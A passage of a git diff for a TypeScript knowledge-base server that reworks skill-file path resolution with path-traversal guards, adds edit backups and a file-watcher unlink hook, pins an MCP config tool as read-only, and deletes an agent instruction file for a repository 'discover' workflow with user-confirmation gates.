+ test('first edit snapshots the pre-edit bytes out-of-tree (data-safety floor)', async () => {
+ registerExternalSkill('borrowed', skillDir);
+ const ctx = makeCtx();
+ const doc = new Y.Doc();
+ loadManagedArtifactDoc(doc, docName, ctx);
+ doc.transact(() => {
+ const src = doc.getText('source');
+ src.delete(0, src.length);
+ src.insert(0, 'clobbered\n');
+ }, 'agent');
+ await storeManagedArtifactDoc(doc, docName, 'agent', ctx);
+ const backup = join(home, '.ok', 'edit-backups', 'borrowed', 'SKILL.md.bak');
+ expect(existsSync(backup)).toBe(true);
+ // The snapshot is the PRE-edit content, so a bad edit stays recoverable.
+ expect(readFileSync(backup, 'utf-8')).toBe('---\nname: borrowed\n---\n\n# Original\n');
+ });
+});
diff --git a/packages/server/src/managed-artifact-persistence.ts b/packages/server/src/managed-artifact-persistence.ts
index e1ff726d7..914e5f924 100644
--- a/packages/server/src/managed-artifact-persistence.ts
+++ b/packages/server/src/managed-artifact-persistence.ts
@@ -23,16 +23,16 @@
* module for its third branch.
*/
-import { existsSync, readFileSync } from 'node:fs';
+import { existsSync, readdirSync, readFileSync } from 'node:fs';
import { homedir } from 'node:os';
import { resolve, sep } from 'node:path';
import {
+ LEGACY_SKILL_STORE_ROOT,
LINEAGE_EPOCH_KEY,
MANAGED_ARTIFACT_PREFIX_SKILL,
MANAGED_ARTIFACT_PREFIX_TEMPLATE,
- type ManagedArtifactScope,
+ parseExternalSkillDocName,
parseManagedArtifactName,
- SKILL_CONTENT_ROOT,
SKILL_NAME_REGEX,
TEMPLATE_NAME_REGEX,
} from '@inkeep/open-knowledge-core';
@@ -44,7 +44,13 @@ import {
import type * as Y from 'yjs';
import type { DeriveLossDetectOptions } from './bridge-loss-detector.ts';
import { applyDiskContentToDoc, FILE_WATCHER_ORIGIN } from './disk-content-intake.ts';
-import { tracedAtomicFs, tracedMkdir } from './fs-traced.ts';
+import { externalSkillAbsPath } from './external-skill-registry.ts';
+import { tracedAtomicFs, tracedMkdir, tracedUnlinkSync } from './fs-traced.ts';
+import {
+ globalSkillGraphRoots,
+ resolveDefaultSkillHomeRel,
+ resolveGlobalNativeSkillDir,
+} from './in-place-skills.ts';
import { getLogger } from './logger.ts';
import { incrementManagedArtifactReconcile } from './metrics.ts';
@@ -104,7 +110,7 @@ export type StoreManagedArtifactOutcome = 'persisted' | 'no-op' | 'reconciled' |
// hooks they'll never consult.
type ManagedArtifactLocation = Pick<ManagedArtifactCtx, 'projectDir' | 'homedirOverride'>;
-function homeFor(ctx: Pick<ManagedArtifactCtx, 'homedirOverride'>): string {
+export function homeFor(ctx: Pick<ManagedArtifactCtx, 'homedirOverride'>): string {
return ctx.homedirOverride ?? homedir();
}
@@ -127,7 +133,7 @@ export function managedArtifactContributorAttribution(
if (parsed.kind === 'skill') {
if (parsed.scope !== 'project') return null; // global = unversioned
return {
- docKey: `${SKILL_CONTENT_ROOT}/${parsed.name}`,
+ docKey: `${LEGACY_SKILL_STORE_ROOT}/${parsed.name}`,
subject: `skill-edit: ${parsed.name}/SKILL.md`,
};
}
@@ -174,7 +180,7 @@ export function managedArtifactTimelinePaths(
* only disk→doc reconcile path.
*/
export function managedArtifactSkillsRoots(ctx: ManagedArtifactCtx): string[] {
- return [resolve(homeFor(ctx), '.ok', 'skills')];
+ return globalSkillGraphRoots(homeFor(ctx));
}
/**
@@ -190,7 +196,34 @@ export function managedArtifactSkillsRoots(ctx: ManagedArtifactCtx): string[] {
* - skill → `<scope-root>/.ok/skills/<name>/SKILL.md`
* - template → `<projectDir>/<folder>/.ok/templates/<name>.md`
*/
+/** Bind an ext-less skill bundle-file base path to the real file on disk: `.md`
+ * preferred, `.mdx` fallback, default `.md` for a not-yet-created file. Shared
+ * by the managed and external (`__extskill__/`) bundle-file resolvers so both
+ * address the same real file. */
+function resolveBundleFileOnDisk(baseNoExt: string): string {
+ return existsSync(`${baseNoExt}.md`)
+ ? `${baseNoExt}.md`
+ : existsSync(`${baseNoExt}.mdx`)
+ ? `${baseNoExt}.mdx`
+ : `${baseNoExt}.md`;
+}
+
export function managedArtifactAbsPath(documentName: string, ctx: ManagedArtifactLocation): string {
+ // Editable-unmanaged skill: the real on-disk path lives in the external-skill
+ // registry (keyed by name), NOT under any `.ok/` root — so it resolves through
+ // the containment-guarded `externalSkillAbsPath`, not the scope-typed parse
+ // below. Throws if unregistered so readers (`resolveDocPath`) fall back.
+ const ext = parseExternalSkillDocName(documentName);
+ if (ext !== null) {
+ const abs = externalSkillAbsPath(ext.name, ext.rel);
+ if (abs === null) {
+ throw new Error(`managedArtifactAbsPath: external skill not registered: ${documentName}`);
+ }
+ // A bundle-file doc name is ext-less (`references/x`); bind it to the real
+ // file on disk exactly as the managed bundle branch below. SKILL.md
+ // (`rel === null`) already resolves to a concrete path.
+ return ext.rel === null ? abs : resolveBundleFileOnDisk(abs);
+ }
const parsed = parseManagedArtifactName(documentName);
if (parsed === null) {
throw new Error(`managedArtifactAbsPath: not a managed-artifact doc name: ${documentName}`);
@@ -203,12 +236,45 @@ export function managedArtifactAbsPath(documentName: string, ctx: ManagedArtifac
throw new Error(`managedArtifactAbsPath: invalid skill name: ${JSON.stringify(parsed.name)}`);
}
const base = parsed.scope === 'global' ? homeFor(ctx) : ctx.projectDir;
- const skillsRoot = resolve(base, '.ok', 'skills');
- const abs = resolve(skillsRoot, parsed.name, 'SKILL.md');
+ let skillDir: string;
+ if (parsed.scope === 'global') {
+ // Store retirement: in-place ALWAYS wins. Resolve the native editor-dir
+ // canonical (`~/.agents/skills/<name>`, `~/.claude/skills/<name>`, …) first;
+ // fall back to a legacy `~/.ok/skills` resident ONLY to keep reading one not
+ // yet drained; NEVER DEFAULT a fresh write to the store. Defaulting to the
+ // store re-created the `.ok/skills` remnant on every stray global write (a
+ // global doc autosaving after the skill was moved away, etc.) — a skill with
+ // neither native nor store lands at the in-place default home instead.
+ const native = resolveGlobalNativeSkillDir(base, parsed.name);
+ const storeDir = resolve(base, '.ok', 'skills', parsed.name);
+ skillDir =
+ native ??
+ (existsSync(resolve(storeDir, 'SKILL.md'))
+ ? storeDir
+ : resolve(base, resolveDefaultSkillHomeRel(base, 'global'), parsed.name));
+ } else {
+ // Project managed-artifact docs are the legacy `.ok/skills` content path;
+ // project skills open as content docs, so this branch is effectively dead
+ // and the project store drains via the boot migration.
+ skillDir = resolve(base, '.ok', 'skills', parsed.name);
+ }
+ let abs: string;
+ if (parsed.rel === null) {
+ abs = resolve(skillDir, 'SKILL.md');
+ } else {
+ // A bundle FILE (`rel`, ext-less). Reject `..` / empty segments, then bind
+ // the ext-less doc name to the real file on disk (`.md` preferred, `.mdx`
+ // fallback, default `.md` for a not-yet-created file).
+ const relSegs = parsed.rel.split('/').filter((s) => s !== '' && s !== '.');
+ if (relSegs.length === 0 || relSegs.some((s) => s === '..')) {
+ throw new Error(`managedArtifactAbsPath: invalid skill file path for ${documentName}`);
+ }
+ abs = resolveBundleFileOnDisk(resolve(skillDir, ...relSegs));
+ }
// Guard 2: containment on the resolved path. Cheap defense-in-depth — guard 1's
- // slug grammar already forbids escape, so this only fires if that grammar is
- // ever weakened. (Mirrors templateAbsPath's `startsWith(templatesDir + sep)`.)
- if (!abs.startsWith(skillsRoot + sep)) {
+ // slug grammar + the `..` reject above already forbid escape, so this only
+ // fires if that grammar is ever weakened. (Mirrors templateAbsPath.)
+ if (!abs.startsWith(skillDir + sep)) {
throw new Error(`managedArtifactAbsPath: path escape for ${documentName}`);
}
return abs;
@@ -265,24 +331,34 @@ export function managedArtifactDocNameForPath(
ctx: ManagedArtifactCtx,
): string | null {
const norm = resolve(absPath);
- // Skill: `<home>/.ok/skills/<name>/SKILL.md` — GLOBAL only. Project skills
- // are content docs now (`.ok/skills/<name>/SKILL`), reconciled by the content
- // watcher, never mapped to a `__skill__/project/...` synthetic name here.
- if (norm.endsWith(`${sep}SKILL.md`)) {
- const roots: ReadonlyArray<readonly [string, ManagedArtifactScope]> = [
- [resolve(homeFor(ctx), '.ok', 'skills'), 'global'],
- ];
- for (const [root, scope] of roots) {
- if (!norm.startsWith(root + sep)) continue;
- const rel = norm.slice(root.length + 1).split(sep);
- // Exactly `<name>/SKILL.md` — no nesting, no SKILL.md directly in the root.
- if (rel.length !== 2 || rel[1] !== 'SKILL.md') continue;
- const name = rel[0];
- if (!SKILL_NAME_REGEX.test(name) || name.length > 64) continue;
- // Slug grammar guarantees `encodeURIComponent(name) === name`.
- return `${MANAGED_ARTIFACT_PREFIX_SKILL}${scope}/${name}`;
+ // Skill bundle files under ANY global skill root — the legacy `~/.ok/skills`
+ // store AND every native user root (`~/.agents/skills`, `~/.claude/skills`,
+ // …): global skills live in-place now, and the skills watcher watches all of
+ // these roots, so the reverse mapping must cover them all or native-root
+ // events are silently dropped (an open-but-empty `__skill__/global/...` doc
+ // then never seeds when its file lands). Doc names are name-keyed, so every
+ // root maps to the same doc. Project skills are content docs, reconciled by
+ // the content watcher, never mapped to a `__skill__/project/...` name here.
+ for (const root of globalSkillGraphRoots(homeFor(ctx))) {
+ const globalSkillsRoot = resolve(root);
+ if (!norm.startsWith(globalSkillsRoot + sep)) continue;
+ const rel = norm.slice(globalSkillsRoot.length + 1).split(sep);
+ const name = rel[0];
+ if (name && SKILL_NAME_REGEX.test(name) && name.length <= 64 && rel.length >= 2) {
+ const tail = rel.slice(1);
+ // `<name>/SKILL.md` → the skill's SKILL doc.
+ if (tail.length === 1 && tail[0] === 'SKILL.md') {
+ return `${MANAGED_ARTIFACT_PREFIX_SKILL}global/${name}`;
+ }
+ // A `.md`/`.mdx` bundle file → its per-file live doc (ext-less). Other
+ // files (scripts, binary) are not editable live docs → no doc mapping.
+ const last = tail[tail.length - 1] ?? '';
+ if (/\.mdx?$/i.test(last) && !tail.includes('..')) {
+ const relNoExt = tail.join('/').replace(/\.mdx?$/i, '');
+ return `${MANAGED_ARTIFACT_PREFIX_SKILL}global/${name}/${relNoExt}`;
+ }
}
- return null;
+ return null; // under a global skills root but not an editable md doc
}
// Template: `<projectDir>/<folderRel>/.ok/templates/<name>.md`.
if (norm.endsWith('.md')) {
@@ -329,6 +405,12 @@ export function loadManagedArtifactDoc(
const parsed = parseManagedArtifactName(documentName);
if (parsed?.kind === 'skill' && parsed.scope === 'project') return;
+ // Editable-unmanaged skill whose external dir was never registered (e.g. a
+ // server restart dropped the in-memory registry): nothing to seed, no-op —
+ // don't let `managedArtifactAbsPath` throw out of `onLoadDocument`.
+ const extParsed = parseExternalSkillDocName(documentName);
+ if (extParsed && externalSkillAbsPath(extParsed.name, extParsed.rel) === null) return;
+
const xmlFragment = document.getXmlFragment('default');
if (xmlFragment.length > 0) return;
@@ -364,6 +446,72 @@ export function loadManagedArtifactDoc(
ctx.lkgCache.set(documentName, raw);
}
+/**
+ * One-time, best-effort out-of-tree backup of an editable-unmanaged skill's
+ * current on-disk bytes, taken right before OK first overwrites the live harness
+ * file. Editable-unmanaged skills have NO version history (that's a managed-only
+ * benefit), so this snapshot is the data-safety floor: a bad edit to a shared
+ * team skill stays recoverable. Keyed by skill name under `<home>/.ok/edit-
+ * backups/`; skipped if a backup already exists (one-time). A backup failure is
+ * swallowed — recoverability is a bonus, never a gate on the user's edit.
+ *
+ * ponytail: keyed by name, so two same-named skills from different harnesses
+ * share one backup slot (first-editor wins). Fine for the borrower-fixing-a-typo
+ * case; key by a dir hash if multi-harness same-name editing becomes real.
+ */
+/** Bounded per-doc stash cap for reconcile-discarded edits (R7 data-safety). */
+const DISCARDED_EDIT_STASH_MAX = 5;
+
+/**
+ * R7 data-safety half: when a store RECONCILES (disk diverged, disk wins), the
+ * user's in-buffer bytes are replaced — stash them out-of-tree first so "keep
+ * mine" stays possible by hand even before the interactive prompt exists.
+ * Bounded per doc (oldest pruned); best-effort — a stash failure never blocks
+ * the reconcile.
+ */
+async function stashDiscardedEdit(
+ documentName: string,
+ content: string,
+ ctx: Pick<ManagedArtifactCtx, 'homedirOverride'>,
+): Promise<void> {
+ try {
+ const safe = documentName.replace(/[^A-Za-z0-9._-]+/g, '__');
+ const dir = resolve(homeFor(ctx), '.ok', 'edit-backups', 'discarded', safe);
+ await tracedMkdir(dir, { recursive: true });
+ const stamp = new Date().toISOString().replace(/[:.]/g, '-');
+ await atomicWriteFile(resolve(dir, `${stamp}.md`), content, { fs: tracedAtomicFs });
+ const entries = readdirSync(dir).sort();
+ for (const old of entries.slice(0, Math.max(0, entries.length - DISCARDED_EDIT_STASH_MAX))) {
+ try {
+ tracedUnlinkSync(resolve(dir, old));
+ } catch {
+ // Prune failure is cosmetic.
+ }
+ }
+ } catch (e) {
+ log.warn({ documentName, err: e }, 'discarded-edit stash failed');
+ }
+}
+
+async function backupExternalSkillOnce(
+ filePath: string,
+ ext: { name: string; rel: string | null },
+ ctx: Pick<ManagedArtifactCtx, 'homedirOverride'>,
+): Promise<void> {
+ // Only snapshot the SKILL.md (rel === null); bundle files are secondary.
+ if (ext.rel !== null) return;
+ try {
+ if (!existsSync(filePath)) return; // nothing to snapshot (new file)
+ const backupDir = resolve(homeFor(ctx), '.ok', 'edit-backups', ext.name);
+ const backupPath = resolve(backupDir, 'SKILL.md.bak');
+ if (existsSync(backupPath)) return; // one-time
+ await tracedMkdir(backupDir, { recursive: true });
+ await atomicWriteFile(backupPath, readFileSync(filePath, 'utf-8'), { fs: tracedAtomicFs });
+ } catch (e) {
+ log.warn({ name: ext.name, err: e }, 'external-skill backup failed');
+ }
+}
+
/**
* Persist a managed-artifact doc to disk. Serializes from `Y.Text('source')`
* (verbatim — precedent #38). File-locked + atomic; reconciles instead of
@@ -383,6 +531,11 @@ export async function storeManagedArtifactDoc(
const parsedStore = parseManagedArtifactName(documentName);
if (parsedStore?.kind === 'skill' && parsedStore.scope === 'project') return 'no-op';
+ // Editable-unmanaged skill whose external dir isn't registered: nothing to
+ // write back to (see load guard).
+ const extStore = parseExternalSkillDocName(documentName);
+ if (extStore && externalSkillAbsPath(extStore.name, extStore.rel) === null) return 'no-op';
+
if (lastTransactionOrigin === FILE_WATCHER_ORIGIN) return 'no-op';
const content = document.getText('source').toString();
@@ -397,6 +550,11 @@ export async function storeManagedArtifactDoc(
// `.ok/skills/<name>/` dir doesn't exist yet (config docs dodge this because
// `.ok/` is pre-created at init).
await tracedMkdir(resolve(filePath, '..'), { recursive: true });
+ // Data-safety floor for editable-unmanaged skills (no version history): the
+ // FIRST time we're about to overwrite a live harness skill file, snapshot its
+ // current bytes out-of-tree so a bad edit stays recoverable. One-time,
+ // best-effort — a backup failure never blocks the edit (see helper).
+ if (extStore) await backupExternalSkillOnce(filePath, extStore, ctx);
return await withFileLock(`${filePath}.lock`, async () => {
// Concurrent-writer reconcile: if disk diverged from our LKG (another OK
// window / hand edit), import disk into the doc instead of clobbering.
@@ -425,6 +583,11 @@ export async function storeManagedArtifactDoc(
// still records that live content was replaced.
incrementManagedArtifactReconcile();
const detect = ctx.beforeReconcileDivergence?.(document, documentName, content, disk);
+ // Disk wins; the user's bytes are about to be replaced in the live
+ // buffer — stash them first (R7 data-safety). Distinct recovery
+ // surface from the anchor above: a plain capped file backup that
+ // survives a ctx with no shadow plumbing.
+ await stashDiscardedEdit(documentName, content, ctx);
document.transact(() => {
applyDiskContentToDoc(document, disk, undefined, documentName, undefined, detect);
}, FILE_WATCHER_ORIGIN);
diff --git a/packages/server/src/managed-artifact-watcher.test.ts b/packages/server/src/managed-artifact-watcher.test.ts
index 88f3252f0..ce5d958b1 100644
--- a/packages/server/src/managed-artifact-watcher.test.ts
+++ b/packages/server/src/managed-artifact-watcher.test.ts
@@ -52,6 +52,29 @@ describe.skipIf(RUNNING_IN_CI)('startManagedArtifactWatcher', () => {
await eventually(() => seen.some(([p, c]) => p === leaf && c === 'v1'));
}, 25_000);
+ test('fires onUnlink (not onChange) when a SKILL.md is deleted', async () => {
+ const skillsRoot = resolve(root, '.ok', 'skills');
+ const skillDir = resolve(skillsRoot, 'demo');
+ mkdirSync(skillDir, { recursive: true });
+ const leaf = resolve(skillDir, 'SKILL.md');
+ writeFileSync(leaf, 'v1', 'utf-8');
+
+ const changed: string[] = [];
+ const unlinked: string[] = [];
+ cleanup = await startManagedArtifactWatcher(
+ [skillsRoot],
+ (p) => changed.push(p),
+ undefined,
+ (p) => unlinked.push(p),
+ );
+
+ rmSync(leaf, { force: true });
+
+ // Deletion drives the list-refresh callback, not the reconcile-into-open-doc path.
+ await eventually(() => unlinked.includes(leaf));
+ expect(changed).not.toContain(leaf);
+ }, 25_000);
+
test('fires onChange on edit; ignores non-SKILL.md siblings', async () => {
const skillsRoot = resolve(root, '.ok', 'skills');
const skillDir = resolve(skillsRoot, 'demo');
diff --git a/packages/server/src/managed-artifact-watcher.ts b/packages/server/src/managed-artifact-watcher.ts
index af132454f..b178c1f79 100644
--- a/packages/server/src/managed-artifact-watcher.ts
+++ b/packages/server/src/managed-artifact-watcher.ts
@@ -64,15 +64,18 @@ export const TEMPLATE_WATCH_OPTIONS: ManagedArtifactWatchOptions = {
* can write immediately without racing the first event.
*
* On `add` / `change` of a leaf (per `opts.acceptLeaf`): reads the file and
- * fires `onChange(absPath, content)`. `unlink` is logged but does NOT fire
- * `onChange` (the live doc retains its current state — deletion is a separate,
- * explicit surface). Read errors and handler throws are logged + dropped so one
- * bad event can't tear down the watcher.
+ * fires `onChange(absPath, content)`. `unlink` does NOT fire `onChange` (the
+ * live doc retains its current state — deletion of live content is a separate,
+ * explicit surface) but DOES fire the optional `onUnlink(absPath)`, so callers
+ * can refresh DERIVED views (e.g. the skills list) without touching open docs.
+ * Read errors and handler throws are logged + dropped so one bad event can't
+ * tear down the watcher.
*/
export async function startManagedArtifactWatcher(
roots: ReadonlyArray<string>,
onChange: (absPath: string, content: string) => void,
opts: ManagedArtifactWatchOptions = SKILL_WATCH_OPTIONS,
+ onUnlink?: (absPath: string) => void,
): Promise<ManagedArtifactWatcherUnsubscribe> {
const log = getLogger('managed-artifact-watcher');
const { watch } = await import('chokidar');
@@ -138,6 +141,13 @@ export async function startManagedArtifactWatcher(
if (!opts.acceptLeaf(path)) return;
lastContent.delete(path);
log.debug({ path }, 'managed-artifact leaf unlinked; live doc retained at current state');
+ if (onUnlink) {
+ try {
+ onUnlink(path);
+ } catch (err) {
+ log.warn({ err, path }, 'managed-artifact unlink handler threw');
+ }
+ }
});
watcher.on('error', (err) => {
log.warn({ err, watchRoots }, '[managed-artifact-watcher] chokidar error');
diff --git a/packages/server/src/mcp/tools/config.test.ts b/packages/server/src/mcp/tools/config.test.ts
index b5f56664d..183e8a1f4 100644
--- a/packages/server/src/mcp/tools/config.test.ts
+++ b/packages/server/src/mcp/tools/config.test.ts
@@ -131,3 +131,57 @@ describe('config tool', () => {
expect(result.structuredContent?.value).toBe('light');
});
});
+
+describe('config stays a pure read', () => {
+ // MCP annotations are per-tool and static, so a single mutating field costs
+ // every plain config READ its auto-approval — for users who never touch
+ // skills. The folder-topology verb that briefly lived here moved to `install`
+ // for exactly that reason; this pins the hints so it cannot drift back.
+ test('registers with readOnlyHint and idempotentHint', () => {
+ let annotations: Record<string, unknown> | undefined;
+ let inputKeys: string[] = [];
+ const server = {
+ registerTool(
+ _name: string,
+ cfg: { annotations?: Record<string, unknown>; inputSchema: Record<string, unknown> },
+ ) {
+ annotations = cfg.annotations;
+ inputKeys = Object.keys(cfg.inputSchema);
+ },
+ tool() {
+ throw new Error('legacy tool() should not be called by config');
+ },
+ } as unknown as ServerInstance;
+ register(server, { config: BASE_CONFIG, resolveCwd: async () => process.cwd() });
+
+ expect(annotations).toEqual({ readOnlyHint: true, idempotentHint: true });
+ expect(inputKeys).not.toContain('skillFolders');
+ });
+
+ // The description IS the contract an agent reads. When `skillFolders` moved to
+ // `install`, the schema lost it but the description still advertised it — so
+ // an agent would pass an argument that is silently dropped, believe the
+ // folder operation ran, and never see an error. Same for the output shape.
+ test('neither advertises nor can return the folder verb it no longer accepts', () => {
+ let description = '';
+ let outputKeys: string[] = [];
+ const server = {
+ registerTool(
+ _name: string,
+ cfg: { description: string; outputSchema: { shape?: Record<string, unknown> } },
+ ) {
+ description = cfg.description;
+ outputKeys = Object.keys(cfg.outputSchema.shape ?? {});
+ },
+ tool() {
+ throw new Error('legacy tool() should not be called by config');
+ },
+ } as unknown as ServerInstance;
+ register(server, { config: BASE_CONFIG, resolveCwd: async () => process.cwd() });
+
+ // It may POINT AT the verb's new home; it must not document taking it.
+ expect(description).not.toMatch(/action:\s*"(link|unlink|add-root)"/);
+ expect(description).toContain('`install`');
+ expect(outputKeys).not.toContain('folder');
+ });
+});
diff --git a/packages/server/src/mcp/tools/config.ts b/packages/server/src/mcp/tools/config.ts
index 636f76340..fab39d309 100644
--- a/packages/server/src/mcp/tools/config.ts
+++ b/packages/server/src/mcp/tools/config.ts
@@ -36,6 +36,8 @@ const DESCRIPTION = [
'',
'Note: the `server.*`, `mcp.*`, and `github.*` config sub-trees, plus `preview.baseUrl` and `preview.scriptSrc`, were removed; their values are now built-in constants in `@inkeep/open-knowledge-core` (or, for the preview iframe, a fixed open network policy). Reading those keys returns `exists: false`. (`appearance.preview.autoOpen` is still a live key.)',
'',
+ "This tool is a pure READ. Folder-level skill topology (link / unlink / add-root) moved to the `install` tool's `skillFolders` argument, so this one keeps its read-only annotation and stays auto-approvable.",
+ '',
'**Parameters:**',
'- `key` (optional) — Dotted config key. `"content"` returns the content sub-tree; `"appearance.theme"` returns just that leaf. Omit for full config.',
'- `cwd` (optional) — Project root (see `cwd` description below).',
@@ -88,10 +90,10 @@ export function register(server: ServerInstance, deps: GetConfigDeps): void {
description: DESCRIPTION,
inputSchema: InputSchema,
outputSchema: OutputSchema,
- annotations: {
- readOnlyHint: true,
- idempotentHint: true,
- },
+ // Pure read. The folder-topology verb that briefly lived here moved to
+ // `install`: MCP annotations are per-tool and static, so one mutating
+ // field cost every plain config READ its auto-approval.
+ annotations: { readOnlyHint: true, idempotentHint: true },
},
async (args: { key?: string; cwd?: string }) => {
const context = await resolveProjectConfigContext(deps.resolveCwd, deps.config, args.cwd);
diff --git a/packages/server/src/mcp/tools/delete.ts b/packages/server/src/mcp/tools/delete.ts
index 5cbfcb265..f16c989df 100644
--- a/packages/server/src/mcp/tools/delete.ts
+++ b/packages/server/src/mcp/tools/delete.ts
@@ -136,13 +136,13 @@ export function register(server: ServerInstance, deps: DeleteDeps): void {
.min(1)
.optional()
.describe(
- 'Skill-relative bundle file paths to delete (`references/...`/`scripts/...`). Omit to delete the WHOLE skill (`.ok/skills/<name>/`).',
+ 'Skill-relative bundle file paths to delete (`references/...`/`scripts/...`). Omit to delete the WHOLE skill folder.',
),
scope: SkillScopeArg.optional(),
})
.optional()
.describe(
- 'A skill to delete — the whole skill (`.ok/skills/<name>/`), or specific bundle files when `files` is set.',
+ 'A skill to delete — the whole skill folder, or specific bundle files when `files` is set.',
),
asset: z
.object({
diff --git a/packages/server/src/mcp/tools/discover-body.ts b/packages/server/src/mcp/tools/discover-body.ts
deleted file mode 100644
index c9a9c554b..000000000
--- a/packages/server/src/mcp/tools/discover-body.ts
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Instructional body for the `discover` MCP tool.
- *
- * Split from `discover.ts` so the markdown content lives in a file dedicated
- * to it, while the registration / schema / handler logic stays focused. Body
- * is interpolated with the project's resolved `contentDir` at call time;
- * everything else is a constant.
- *
- * **Sources of truth**:
- * - This file is the canonical body the calling agent reads.
- *
- */
-
-export function buildDiscoverBody(contentDir: string): string {
- return `# Discover — Project Convention Extraction + Link Graph Activation
-
-You're invoked because (a) the user explicitly asked to set up an existing repo, OR (b) an \`exec\` directory listing surfaced a hint because content exists with no folder frontmatter / templates configured. Your job: **extract conventions from existing siblings + activate the link graph, leaving the repo more structured and more navigable than you found it.**
-
-Content directory: \`${contentDir}\` (from \`.ok/config.yml\`)
-
-Use OK primitives only — no new files outside \`<folder>/.ok/\`, no body rewrites without per-pair user confirmation.
-
-**You will work through 7 phases in order. STOP gates (⛔) require user confirmation before proceeding. Do not skip or batch ahead.**
-
-**Server requirement.** Phases 1-4 run fs-direct — \`exec\` (scan + read) and the \`write\`/\`edit\` verbs (folder frontmatter + templates) need no running server. Phase 5 (link-graph activation) composes \`links\` and \`search\`, which **require the OK Hocuspocus server** — Phase 5 step 0 checks for it and exits cleanly with a \`run ok start\` instruction if it is down.
-
----
-
-## Phase 1 — Scan + classify (no user interaction, no server needed)
-
-1. \`exec("ls ${contentDir}")\` — list every top-level entry.
-2. For each top-level **directory**: \`exec("ls <dir>")\` — the enriched listing surfaces the \`.md\` count, per-child frontmatter samples, recursive count, and the folder's own descriptive \`title\`/\`description\`/\`tags\` + \`templates_available\`.
-3. Classify each directory:
- - **Substantial KB folder** — >3 \`.md\` files directly, OR named in known-genre list: \`specs/\`, \`reports/\`, \`docs/\`, \`articles/\`, \`research/\`, \`stories/\`, \`projects/\`, \`external-sources/\`, \`tech-probes/\`, \`rfcs/\`, \`proposals/\`, \`design-docs/\`, \`adrs/\`.
- - **Trivial folder** — 1-3 \`.md\` files; treat as one-offs.
- - **Likely noise** — known build/vendored patterns: \`node_modules/\`, \`dist/\`, \`build/\`, \`vendor/\`, \`third_party/\`, \`.changeset/\`, \`coverage/\`.
-4. Detect total \`.md\` count across content root.
-5. Detect seeded layout: do any of \`external-sources/\`, \`research/\`, \`articles/\` exist? (Karpathy three-layer partial presence — informational only.)
-6. **Confirm-then-extend detection.** For each substantial folder, check the \`exec("ls <folder>")\` listing:
- - If the folder already has a \`title\`/\`description\`/\`tags\` → descriptive folder frontmatter already exists; switch THAT folder to "extend mode" (propose additions, not replacement).
- - If \`templates_available\` is non-empty → template already exists for that folder; skip template extraction for it.
- - If MOST substantial folders are already configured → set up to exit early at Phase 7 with "already configured."
-
-**Early-exit conditions:**
-- If total \`.md\` count is **< 5** → STOP. Tell the user "this looks empty — try \`ok seed\` for the greenfield Karpathy three-layer, OR write your first doc and re-invoke \`discover\` later." Exit.
-- If all-greenfield-already (per step 6) → STOP. Exit with "already configured."
-
----
-
-## Phase 2 — Confirm scope (⛔ STOP gate 1)
-
-Present a structured summary to the user. Example:
-
-\`\`\`
-Discover orientation — what I found:
-
-Substantial folders (candidate KB content):
- - specs/ 52 .md (suggests spec collection)
- - reports/ 134 .md (suggests research collection)
- - stories/ 19 .md
- - projects/ 8 .md
-
-Trivial folders (one-offs):
- - tech-probes/ 4 .md
- - 14 root-level docs (README, AGENTS, CLAUDE, CI, CONTRIBUTING)
-
-Likely noise (recommend .okignore):
- - node_modules/ ~200 .md (vendored deps)
- - dist/ ~30 .md (build outputs)
- - Per-package CHANGELOG.md (generated)
-
-Seeded layout: no external-sources/ / research/ / articles/ present.
-
-Mark each substantial folder as:
- [KB] knowledge-base content — extract conventions, add folder frontmatter + template
- [skip] already-structured or out of scope — leave existing settings
- [noise] add to .okignore
-\`\`\`
-
-**Wait for user response. Do not proceed until each substantial folder is classified.**
-
----
-
-## Phase 3 — \`.okignore\` curation (⛔ STOP gate 2)
-
-Based on user \`[noise]\` marks + agent-detected patterns, propose \`.okignore\` entries:
-
-\`\`\`
-Proposed .okignore additions:
- node_modules/**/*.md # vendored dep READMEs
- dist/**/*.md # build outputs
- **/CHANGELOG.md # per-package generated changelogs
- THIRD_PARTY_NOTICES.md # auto-generated notices
- <any user-marked folders>
-\`\`\`
-
-Ask user: "Apply these \`.okignore\` additions? (yes / edit list / skip)"
-
-On confirm: read existing \`.okignore\`, append new entries, write via native \`Write\` tool (\`.okignore\` is a plain config file, not in-scope markdown — escape-hatch ok).
-
-**Don't redundantly propose what \`.gitignore\` already covers.** \`.gitignore\` and \`.okignore\` evaluate together; if the repo's \`.gitignore\` already excludes \`node_modules/\`, you don't need to add it again.
-
----
-
-## Phase 4 — Per-folder convention extraction (⛔ STOP gates 3 + 4)
-
-For **each** folder the user marked \`[KB]\`:
-
-1. **Pick representative siblings.** From \`exec("ls <folder>")\`:
- - Most-recently-edited doc
- - Median-sized doc (roughly: pick the middle entry)
- - Up to 3 siblings. If folder has < 2 siblings, skip template extraction; only propose folder frontmatter.
-
-2. **Read the siblings.** \`exec("cat <doc>")\` on each. Extract:
- - **Heading set** — list every top-level heading (line starting with \`# \` or \`## \`) in document order.
- - **Frontmatter shape** — which keys appear in ≥ 2 of the 3 siblings. Note ALL recurring keys, but route them by purpose: keys that describe the FOLDER (\`title\` / \`description\` / \`tags\`, but any key is allowed) go in the folder frontmatter; recurring per-doc keys (\`status:\`, \`owner(s):\`, \`baseline-commit:\`) are starting values for NEW docs and belong in the folder's TEMPLATE. Folder frontmatter is open-shape (like a doc's) but self-only — it does NOT flow into child docs, so per-doc starting values still belong in the template, not the folder frontmatter.
- - **Filename pattern** — dated (\`YYYY-MM-DD-*\`)? Slugged? Sequential?
- - **Link patterns in body** — does the body have a "Related" / "See also" / "References" section? Note the convention.
-
-3. **⛔ STOP gate 3 — Heading-set match check.** If top-level headings DON'T match in text + order across ≥ 2 siblings, do NOT extract a template — only propose folder frontmatter. Tell the user: "siblings in \`<folder>\` don't share a consistent body skeleton; skipping template, proposing folder frontmatter only." The operational metric for "match" is **heading-text equality** (exact strings, in order). Anything beyond that is LLM judgment and shouldn't pretend to be deterministic.
-
-4. **Idempotency check.** Per Phase 1 step 6:
- - If this folder already has its own frontmatter → switch to "extend mode." Show existing keys to user; propose ADDITIONS only.
- - If \`templates_available\` includes a template → skip template extraction. Tell user: "existing template \`<name>\` found; preserving."
-
-5. **Propose folder frontmatter + template.** One \`write\`/\`edit\` call per target:
-
- \`\`\`ts
- // Folder frontmatter → writes <folder>/.ok/frontmatter.yml.
- // Open-shape (any key, like a doc's); here the conventional
- // title/description/tags describing the FOLDER. Self-only — does NOT
